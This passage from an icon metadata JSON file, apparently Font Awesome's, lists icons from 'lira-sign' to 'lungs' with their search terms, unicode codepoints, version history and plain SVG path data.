9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z"
      }
    },
    "free": ["brands"]
  },
  "lira-sign": {
    "aliases": {
      "unicodes": {
        "composite": ["20a4"],
        "secondary": ["10f195"]
      }
    },
    "changes": [
      "4.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Lira Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f195",
    "label": "Lira Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M112 160.4c0-35.5 28.8-64.4 64.4-64.4c6.9 0 13.8 1.1 20.4 3.3l81.2 27.1c16.8 5.6 34.9-3.5 40.5-20.2s-3.5-34.9-20.2-40.5L217 38.6c-13.1-4.4-26.8-6.6-40.6-6.6C105.5 32 48 89.5 48 160.4V192H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H46c-2.2 10.5-6.1 20.6-11.7 29.9L4.6 431.5c-5.9 9.9-6.1 22.2-.4 32.2S20.5 480 32 480H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H88.5l.7-1.1c11.6-19.3 18.9-40.7 21.6-62.9H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V256H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V160.4z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M112 160.4c0-35.5 28.8-64.4 64.4-64.4c6.9 0 13.8 1.1 20.4 3.3l81.2 27.1c16.8 5.6 34.9-3.5 40.5-20.2s-3.5-34.9-20.2-40.5L217 38.6c-13.1-4.4-26.8-6.6-40.6-6.6C105.5 32 48 89.5 48 160.4V192H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H46c-2.2 10.5-6.1 20.6-11.7 29.9L4.6 431.5c-5.9 9.9-6.1 22.2-.4 32.2S20.5 480 32 480H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H88.5l.7-1.1c11.6-19.3 18.9-40.7 21.6-62.9H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V256H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V160.4z"
      }
    },
    "free": ["solid"]
  },
  "list": {
    "aliases": {
      "names": ["list-squares"],
      "unicodes": {
        "secondary": ["10f03a"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f03a",
    "label": "List",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M40 48C26.7 48 16 58.7 16 72v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V72c0-13.3-10.7-24-24-24H40zM192 64c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zM16 232v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V232c0-13.3-10.7-24-24-24H40c-13.3 0-24 10.7-24 24zM40 368c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V392c0-13.3-10.7-24-24-24H40z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M40 48C26.7 48 16 58.7 16 72v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V72c0-13.3-10.7-24-24-24H40zM192 64c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zM16 232v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V232c0-13.3-10.7-24-24-24H40c-13.3 0-24 10.7-24 24zM40 368c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V392c0-13.3-10.7-24-24-24H40z"
      }
    },
    "free": ["solid"]
  },
  "list-check": {
    "aliases": {
      "names": ["tasks"],
      "unicodes": {
        "secondary": ["10f0ae"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "downloading",
        "downloads",
        "loading",
        "progress",
        "project management",
        "settings",
        "to do"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ae",
    "label": "List Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M152.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 113C-2.3 103.6-2.3 88.4 7 79s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM224 96c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32zM160 416c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H192c-17.7 0-32-14.3-32-32zM48 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M152.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 113C-2.3 103.6-2.3 88.4 7 79s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM224 96c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32zM160 416c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H192c-17.7 0-32-14.3-32-32zM48 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "list-ol": {
    "aliases": {
      "names": ["list-1-2", "list-numeric"],
      "unicodes": {
        "secondary": ["10f0cb"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "numbers",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0cb",
    "label": "List Ol",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M24 56c0-13.3 10.7-24 24-24H80c13.3 0 24 10.7 24 24V176h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H40c-13.3 0-24-10.7-24-24s10.7-24 24-24H56V80H48C34.7 80 24 69.3 24 56zM86.7 341.2c-6.5-7.4-18.3-6.9-24 1.2L51.5 357.9c-7.7 10.8-22.7 13.3-33.5 5.6s-13.3-22.7-5.6-33.5l11.1-15.6c23.7-33.2 72.3-35.6 99.2-4.9c21.3 24.4 20.8 60.9-1.1 84.7L86.8 432H120c13.3 0 24 10.7 24 24s-10.7 24-24 24H32c-9.5 0-18.2-5.6-22-14.4s-2.1-18.9 4.3-25.9l72-78c5.3-5.8 5.4-14.6 .3-20.5zM224 64H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M24 56c0-13.3 10.7-24 24-24H80c13.3 0 24 10.7 24 24V176h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H40c-13.3 0-24-10.7-24-24s10.7-24 24-24H56V80H48C34.7 80 24 69.3 24 56zM86.7 341.2c-6.5-7.4-18.3-6.9-24 1.2L51.5 357.9c-7.7 10.8-22.7 13.3-33.5 5.6s-13.3-22.7-5.6-33.5l11.1-15.6c23.7-33.2 72.3-35.6 99.2-4.9c21.3 24.4 20.8 60.9-1.1 84.7L86.8 432H120c13.3 0 24 10.7 24 24s-10.7 24-24 24H32c-9.5 0-18.2-5.6-22-14.4s-2.1-18.9 4.3-25.9l72-78c5.3-5.8 5.4-14.6 .3-20.5zM224 64H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "list-ul": {
    "aliases": {
      "names": ["list-dots"],
      "unicodes": {
        "secondary": ["10f0ca"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ca",
    "label": "List Ul",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 144a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM192 64c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zM64 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48-208a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 144a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM192 64c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zM64 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48-208a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "litecoin-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["currency"]
    },
    "styles": ["solid"],
    "unicode": "e1d3",
    "label": "Litecoin Sign",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M128 64c0-17.7-14.3-32-32-32S64 46.3 64 64V213.6L23.2 225.2c-17 4.9-26.8 22.6-22 39.6s22.6 26.8 39.6 22L64 280.1V448c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V261.9l136.8-39.1c17-4.9 26.8-22.6 22-39.6s-22.6-26.8-39.6-22L128 195.3V64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M128 64c0-17.7-14.3-32-32-32S64 46.3 64 64V213.6L23.2 225.2c-17 4.9-26.8 22.6-22 39.6s22.6 26.8 39.6 22L64 280.1V448c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V261.9l136.8-39.1c17-4.9 26.8-22.6 22-39.6s-22.6-26.8-39.6-22L128 195.3V64z"
      }
    },
    "free": ["solid"]
  },
  "location-arrow": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f124"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "compass",
        "coordinate",
        "direction",
        "gps",
        "map",
        "navigation",
        "place"
      ]
    },
    "styles": ["solid"],
    "unicode": "f124",
    "label": "Location Arrow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M429.6 92.1c4.9-11.9 2.1-25.6-7-34.7s-22.8-11.9-34.7-7l-352 144c-14.2 5.8-22.2 20.8-19.3 35.8s16.1 25.8 31.4 25.8H224V432c0 15.3 10.8 28.4 25.8 31.4s30-5.1 35.8-19.3l144-352z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M429.6 92.1c4.9-11.9 2.1-25.6-7-34.7s-22.8-11.9-34.7-7l-352 144c-14.2 5.8-22.2 20.8-19.3 35.8s16.1 25.8 31.4 25.8H224V432c0 15.3 10.8 28.4 25.8 31.4s30-5.1 35.8-19.3l144-352z"
      }
    },
    "free": ["solid"]
  },
  "location-crosshairs": {
    "aliases": {
      "names": ["location"],
      "unicodes": {
        "secondary": ["10f601"]
      }
    },
    "changes": [
      "5.2.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinate",
        "direction",
        "gps",
        "location",
        "map",
        "navigation",
        "place",
        "where"
      ]
    },
    "styles": ["solid"],
    "unicode": "f601",
    "label": "Location Crosshairs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c17.7 0 32 14.3 32 32V66.7C368.4 80.1 431.9 143.6 445.3 224H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H445.3C431.9 368.4 368.4 431.9 288 445.3V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.3C143.6 431.9 80.1 368.4 66.7 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H66.7C80.1 143.6 143.6 80.1 224 66.7V32c0-17.7 14.3-32 32-32zM128 256a128 128 0 1 0 256 0 128 128 0 1 0 -256 0zm128-80a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c17.7 0 32 14.3 32 32V66.7C368.4 80.1 431.9 143.6 445.3 224H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H445.3C431.9 368.4 368.4 431.9 288 445.3V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.3C143.6 431.9 80.1 368.4 66.7 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H66.7C80.1 143.6 143.6 80.1 224 66.7V32c0-17.7 14.3-32 32-32zM128 256a128 128 0 1 0 256 0 128 128 0 1 0 -256 0zm128-80a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "location-dot": {
    "aliases": {
      "names": ["map-marker-alt"],
      "unicodes": {
        "secondary": ["10f3c5"]
      }
    },
    "changes": [
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3c5",
    "label": "Location Dot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M215.7 499.2C267 435 384 279.4 384 192C384 86 298 0 192 0S0 86 0 192c0 87.4 117 243 168.3 307.2c12.3 15.3 35.1 15.3 47.4 0zM192 128a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M215.7 499.2C267 435 384 279.4 384 192C384 86 298 0 192 0S0 86 0 192c0 87.4 117 243 168.3 307.2c12.3 15.3 35.1 15.3 47.4 0zM192 128a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["solid"]
  },
  "location-pin": {
    "aliases": {
      "names": ["map-marker"],
      "unicodes": {
        "secondary": ["10f041"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f041",
    "label": "Location Pin",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 192c0 87.4-117 243-168.3 307.2c-12.3 15.3-35.1 15.3-47.4 0C117 435 0 279.4 0 192C0 86 86 0 192 0S384 86 384 192z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 192c0 87.4-117 243-168.3 307.2c-12.3 15.3-35.1 15.3-47.4 0C117 435 0 279.4 0 192C0 86 86 0 192 0S384 86 384 192z"
      }
    },
    "free": ["solid"]
  },
  "location-pin-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["closed", "lockdown", "map", "quarantine"]
    },
    "styles": ["solid"],
    "unicode": "e51f",
    "label": "Location Pin Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M215.7 499.2c11-13.8 25.1-31.7 40.3-52.3V352c0-23.7 12.9-44.4 32-55.4V272c0-55.6 40.5-101.7 93.6-110.5C367 70 287.7 0 192 0C86 0 0 86 0 192c0 87.4 117 243 168.3 307.2c12.3 15.3 35.1 15.3 47.4 0zM192 128a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM400 240c17.7 0 32 14.3 32 32v48H368V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M215.7 499.2c11-13.8 25.1-31.7 40.3-52.3V352c0-23.7 12.9-44.4 32-55.4V272c0-55.6 40.5-101.7 93.6-110.5C367 70 287.7 0 192 0C86 0 0 86 0 192c0 87.4 117 243 168.3 307.2c12.3 15.3 35.1 15.3 47.4 0zM192 128a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM400 240c17.7 0 32 14.3 32 32v48H368V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "lock": {
    "aliases": {
      "unicodes": {
        "composite": ["1f512"],
        "secondary": ["10f023"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "closed",
        "lock",
        "locked",
        "open",
        "password",
        "private",
        "protect",
        "security"
      ]
    },
    "styles": ["solid"],
    "unicode": "f023",
    "label": "Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 144v48H304V144c0-44.2-35.8-80-80-80s-80 35.8-80 80zM80 192V144C80 64.5 144.5 0 224 0s144 64.5 144 144v48h16c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256c0-35.3 28.7-64 64-64H80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M144 144v48H304V144c0-44.2-35.8-80-80-80s-80 35.8-80 80zM80 192V144C80 64.5 144.5 0 224 0s144 64.5 144 144v48h16c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256c0-35.3 28.7-64 64-64H80z"
      }
    },
    "free": ["solid"]
  },
  "lock-open": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f3c1"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "lock",
        "open",
        "password",
        "private",
        "protect",
        "security",
        "unlock"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3c1",
    "label": "Lock Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M352 144c0-44.2 35.8-80 80-80s80 35.8 80 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32V144C576 64.5 511.5 0 432 0S288 64.5 288 144v48H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H352V144z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M352 144c0-44.2 35.8-80 80-80s80 35.8 80 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32V144C576 64.5 511.5 0 432 0S288 64.5 288 144v48H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H352V144z"
      }
    },
    "free": ["solid"]
  },
  "locust": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["horde", "infestation", "locust", "plague", "swarm"]
    },
    "styles": ["solid"],
    "unicode": "e520",
    "label": "Locust",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M312 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h16c98.7 0 180.6 71.4 197 165.4c-9-3.5-18.8-5.4-29-5.4H431.8l-41.8-97.5c-3.4-7.9-10.8-13.4-19.3-14.4s-17 2.7-22.1 9.6l-40.9 55.5-21.7-50.7c-3.3-7.8-10.5-13.2-18.9-14.3s-16.7 2.3-22 8.9l-240 304c-8.2 10.4-6.4 25.5 4 33.7s25.5 6.4 33.7-4l79.4-100.5 43 16.4-40.5 55c-7.9 10.7-5.6 25.7 5.1 33.6s25.7 5.6 33.6-5.1L215.1 400h74.5l-29.3 42.3c-7.5 10.9-4.8 25.8 6.1 33.4s25.8 4.8 33.4-6.1L348 400h80.4l38.8 67.9c6.6 11.5 21.2 15.5 32.7 8.9s15.5-21.2 8.9-32.7L483.6 400H496c44.1 0 79.8-35.7 80-79.7c0-.1 0-.2 0-.3V280C576 143 465 32 328 32H312zm50.5 168l17.1 40H333l29.5-40zm-87.7 38.1l-1.4 1.9H225.1l32.7-41.5 16.9 39.5zM88.8 240C57.4 240 32 265.4 32 296.8c0 15.5 6.3 30 16.9 40.4L126.7 240H88.8zM496 288a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M312 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h16c98.7 0 180.6 71.4 197 165.4c-9-3.5-18.8-5.4-29-5.4H431.8l-41.8-97.5c-3.4-7.9-10.8-13.4-19.3-14.4s-17 2.7-22.1 9.6l-40.9 55.5-21.7-50.7c-3.3-7.8-10.5-13.2-18.9-14.3s-16.7 2.3-22 8.9l-240 304c-8.2 10.4-6.4 25.5 4 33.7s25.5 6.4 33.7-4l79.4-100.5 43 16.4-40.5 55c-7.9 10.7-5.6 25.7 5.1 33.6s25.7 5.6 33.6-5.1L215.1 400h74.5l-29.3 42.3c-7.5 10.9-4.8 25.8 6.1 33.4s25.8 4.8 33.4-6.1L348 400h80.4l38.8 67.9c6.6 11.5 21.2 15.5 32.7 8.9s15.5-21.2 8.9-32.7L483.6 400H496c44.1 0 79.8-35.7 80-79.7c0-.1 0-.2 0-.3V280C576 143 465 32 328 32H312zm50.5 168l17.1 40H333l29.5-40zm-87.7 38.1l-1.4 1.9H225.1l32.7-41.5 16.9 39.5zM88.8 240C57.4 240 32 265.4 32 296.8c0 15.5 6.3 30 16.9 40.4L126.7 240H88.8zM496 288a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "lungs": {
    "aliases": {
      "unicodes": {
        "composite": ["1fac1"],
        "secondary": ["10f604"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "air",
        "breath",
        "covid-19",
        "exhalation",
        "inhalation",
        "lungs",
        "organ",
        "respiration",
        "respiratory"
      ]
    },
    "styles": ["solid"],
    "unicode": "f604",
    "label": "Lungs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
